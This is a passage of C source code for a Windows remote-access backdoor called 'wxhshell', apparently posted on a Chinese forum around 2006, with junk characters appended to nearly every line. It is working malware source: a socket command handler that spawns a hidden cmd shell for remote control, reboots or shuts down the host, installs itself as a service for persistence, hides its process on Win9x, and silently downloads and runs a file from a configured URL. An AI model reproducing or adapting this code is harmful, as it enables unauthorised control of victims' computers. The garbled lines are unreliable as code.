  // 帮助 hrm<!uKn  
  case '?': { au04F]-|j8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |r*)U(c`  
    break; ae2Q^yLA  
  } lYTQg~aPm  
  // 安装 .faf!3d  
  case 'i': { b[GhI+_  
    if(Install()) drMMf[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }jUsv8`}8R  
    else ^?$,sS ;Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nTv}/M&  
    break; vQ L$.A3>  
    } PcBD;[cn  
  // 卸载 7o0zny3?  
  case 'r': { !b"?l"C+u  
    if(Uninstall()) D#G%WT/"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +SR{ FF  
    else c} +*$DeT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g@37t @I  
    break; )q[P&f(h  
    } i84!x%|P  
  // 显示 wxhshell 所在路径 xZP*%yM  
  case 'p': { &iInru3  
    char svExeFile[MAX_PATH]; 3*& Y'/!  
    strcpy(svExeFile,"\n\r"); ni&|;"Nt-  
      strcat(svExeFile,ExeFile); +i!5<nn  
        send(wsh,svExeFile,strlen(svExeFile),0); ?+))J~@t  
    break; D3 yTN"  
    } r|=1{N x  
  // 重启 Jup)A`64  
  case 'b': { ICb!AsL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v,S5C  
    if(Boot(REBOOT)) 4WJY+)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T#H^ }`  
    else { !uQT4< g  
    closesocket(wsh); ^3TNj  
    ExitThread(0); N(Ru/9!y"  
    } ]bJz-6u#:  
    break; QJ3#~GYNr  
    } oX;.v9a  
  // 关机 N^dQX,j  
  case 'd': { 54CJ6"q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +bS\iw+  
    if(Boot(SHUTDOWN))  <@<bX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? Bpnnwx  
    else { a$ "nNmD?  
    closesocket(wsh); g5|~ i{"0  
    ExitThread(0); oGRk/@  
    } =nGFLH6)  
    break; jZ |M$I3*  
    } B=!!R]dxA  
  // 获取shell K9lekevB  
  case 's': { ZQ]qJDk  
    CmdShell(wsh); mUa#sTm  
    closesocket(wsh); Ifn|wrx;g  
    ExitThread(0);  d 2d-Mk  
    break; 393c |8M  
  } "5&"Ij,/  
  // 退出 ^o{{kju  
  case 'x': { /@F'f@;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x%l(0K  
    CloseIt(wsh); "esuLQC  
    break; J5G<Y*q  
    } {+WBi(=W  
  // 离开 w6i2>nu_O  
  case 'q': { ryVYY> *(K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b^VRpv  
    closesocket(wsh); nwU],{(Hgr  
    WSACleanup(); |Dn Zk3M,  
    exit(1); ZC N}iQu4  
    break; LUbj^iQ9  
        } DjM*U52Yfj  
  } sfyLG3$/  
  } uQIPnd(V  
?> }p'{I  
  // 提示信息 Nvgi&iBh8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YGJ!!(~r  
} F qH))2  
  } [kg?q5F)  
2y - QH  
  return; c!ZZMC s  
} :C*}Yg  
.; F<X \_  
// shell模块句柄 lo$G*LWu:  
int CmdShell(SOCKET sock) -qc'J<*^4  
{ pi?/]}:  
STARTUPINFO si; NPK;  
ZeroMemory(&si,sizeof(si)); ga;nM#/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Uj7YTB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e,JBz~CK*w  
PROCESS_INFORMATION ProcessInfo; l+9RPJD/:  
char cmdline[]="cmd"; DyN[Yp|V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X"!j_*&ED  
  return 0; Sb[>R(0:  
} k24I1DlR8  
\J+a7N8m,  
// 自身启动模式 !|Q&4NS  
int StartFromService(void) ,{PN6B  
{ UjI./"]O  
typedef struct b*n3Fej  
{ p< 7rF_?W0  
  DWORD ExitStatus; 4Hz3 KKu  
  DWORD PebBaseAddress; _d]{[& p4t  
  DWORD AffinityMask; .o/|]d`%  
  DWORD BasePriority; 93]63NY  
  ULONG UniqueProcessId; 0`x>p6.)G  
  ULONG InheritedFromUniqueProcessId; }|Qh+{H*.  
}   PROCESS_BASIC_INFORMATION; 9<u&27.  
] `$6=) _X  
PROCNTQSIP NtQueryInformationProcess; IU8zidn&  
$VmV>NZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,/?J!W@m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; th{f|fm62  
ZWCsrV*;  
  HANDLE             hProcess; y~+LzDV  
  PROCESS_BASIC_INFORMATION pbi; !igPyhi,hl  
@&m [w'tn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NPH(v`  
  if(NULL == hInst ) return 0; FEk9a^Xyx  
Xex7Lr&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X%YZQc9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `,V&@}&"n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }ppApJT  
! v![K  
  if (!NtQueryInformationProcess) return 0; b$'%)\('g  
5;XC!Gz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %$&eC  
  if(!hProcess) return 0; z\|<h=EU  
=78y* `L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .4a|^ vT  
jA,y.(mR  
  CloseHandle(hProcess); m~+.vk  
x<l 5wh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5$U49j  
if(hProcess==NULL) return 0; dEDhdF#f  
U<=TAWZ@  
HMODULE hMod; gveGBi  
char procName[255]; |B (,53  
unsigned long cbNeeded; aG7Lm2{c"  
bSIY|/d+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N6[Z*5efR  
'gN[LERT  
  CloseHandle(hProcess); tV=Qt[|@  
?*~ ~Ok  
if(strstr(procName,"services")) return 1; // 以服务启动 [\ku,yd%0  
\;-Yz  
  return 0; // 注册表启动 U9]&KNx  
} ]4t1dVD  
Xn"#Zy_  
// 主模块 #b d=G(o~6  
int StartWxhshell(LPSTR lpCmdLine) Jj ]<SWh  
{ l3u[  
  SOCKET wsl; '{,JuX"n  
BOOL val=TRUE; H2],auBY  
  int port=0; `m'RvUc  
  struct sockaddr_in door; mCnl@  
.B^ tEBGVD  
  if(wscfg.ws_autoins) Install(); ]4O!q}@Cd  
3SY1>}(Y  
port=atoi(lpCmdLine); _oZ3n2v}@  
!IJ YaQ6z  
if(port<=0) port=wscfg.ws_port; r`ftflNh(  
n 'ZPB  
  WSADATA data; P=}l.R*1G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i{}m 8K)  
3x(Y+ ymP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bSTori5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CM~x1f*v  
  door.sin_family = AF_INET; f:8!@,I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -qSGa;PJ  
  door.sin_port = htons(port); HA c"&#pG  
XyB_8(/E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6Lq8#{/]u  
closesocket(wsl); &LV'"2ng8  
return 1; G$)q% b;Lz  
} }Q[U4G  
5#z7Hj&w  
  if(listen(wsl,2) == INVALID_SOCKET) { c CjN8<  
closesocket(wsl); =8vwaJ  
return 1; O4nA ?bA  
} fm#7}Y  
  Wxhshell(wsl); D8k >f ]  
  WSACleanup(); uaD+G:{ [  
9|jMN j]vo  
return 0; l/?bXNt  
Zc";R!At  
} Nl4uQ_"  
.D7Gog3^<  
// 以NT服务方式启动 #}6~>A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P=_W{6  
{ Wu,=jL3?$A  
DWORD   status = 0; #x;d+Q@  
  DWORD   specificError = 0xfffffff; ?RE"<L  
)3F}IgD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U7LCd+Z 5X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G=e'H-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "Ml#,kU<T  
  serviceStatus.dwWin32ExitCode     = 0; k(`>(w  
  serviceStatus.dwServiceSpecificExitCode = 0; e0C_ NFS+  
  serviceStatus.dwCheckPoint       = 0; \]F Pv7!  
  serviceStatus.dwWaitHint       = 0; af[dkuv  
ndyI sR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ./ tZ*sP:  
  if (hServiceStatusHandle==0) return; JrxQ.,*i  
:MYLap&L&  
status = GetLastError(); bz1`f>%l  
  if (status!=NO_ERROR) 'Q* .[aJt  
{ lNe5{'OrO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "Z';nmv'N  
    serviceStatus.dwCheckPoint       = 0; f. h3:_r  
    serviceStatus.dwWaitHint       = 0; $U&p&pgH=W  
    serviceStatus.dwWin32ExitCode     = status; .' v$PEy  
    serviceStatus.dwServiceSpecificExitCode = specificError; Gp_flGdGQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i1{)\/f3  
    return; 4<EC50@.  
  } Ga^:y=m  
"6~+ -_:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A{3nz DLI  
  serviceStatus.dwCheckPoint       = 0; !;t6\Z8&  
  serviceStatus.dwWaitHint       = 0; X&Ospl@H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <UIE-#  
} >y!R}`&0^t  
'K23oQwDB  
// 处理NT服务事件,比如:启动、停止 k/U rz*O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [$]-W$j+  
{ D7IhNWrgj  
switch(fdwControl) B_@p@6z  
{ \^cXmyQ<%  
case SERVICE_CONTROL_STOP: !(S.7#-r  
  serviceStatus.dwWin32ExitCode = 0; oh:.iL}j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Tv,ZS   
  serviceStatus.dwCheckPoint   = 0; 3#uc+$[  
  serviceStatus.dwWaitHint     = 0; J6 A3Hrg  
  { y2B'0l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s=R^2;^  
  } OSJL,F,  
  return; Cpn!}!Gnf  
case SERVICE_CONTROL_PAUSE: oB<!U%BN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {\h:k\k  
  break; &`'@}o>2  
case SERVICE_CONTROL_CONTINUE: ?wIw$p>wT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bvl!^xO]  
  break; )|]*"yf:E  
case SERVICE_CONTROL_INTERROGATE: nWd;XR6|  
  break; z@<jZM  
}; {H=<5   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &j"_hFhv  
} 1O2V!?P  
^= kr`5  
// 标准应用程序主函数 '~{kR=+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2/))Y\~  
{ 4?_^7(%p  
R<r,&X?m  
// 获取操作系统版本 !%D;H~mQ  
OsIsNt=GetOsVer(); $m-@ICG#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6,l5Q  
+}g6X6m  
  // 从命令行安装 Rx@0EPV  
  if(strpbrk(lpCmdLine,"iI")) Install(); FZ FPzH  
7Zft]C?|@  
  // 下载执行文件 @6y)wA9Yx  
if(wscfg.ws_downexe) { x45F-w{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wF-H{C'  
  WinExec(wscfg.ws_filenam,SW_HIDE); Jg&f.  
} IR8qFWDZ  
2%-/}'G*  
if(!OsIsNt) { /RF&@NJE5  
// 如果时win9x,隐藏进程并且设置为注册表启动 F:Yp1Wrb<  
HideProc(); k]c$SzJ>/  
StartWxhshell(lpCmdLine); Gg^gK*D  
} 94lz?-j  
else ~'Korxa  
  if(StartFromService()) US<l4  
  // 以服务方式启动 r+a0.  
  StartServiceCtrlDispatcher(DispatchTable); @><8YN^)%  
else 7Xh ;dJAF3  
  // 普通方式启动 0c&DSL}6  
  StartWxhshell(lpCmdLine); Gl4f:`  
.07k G]  
return 0; S:c d'68D  
}
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只看该作者 1 发表于: 2006-10-10
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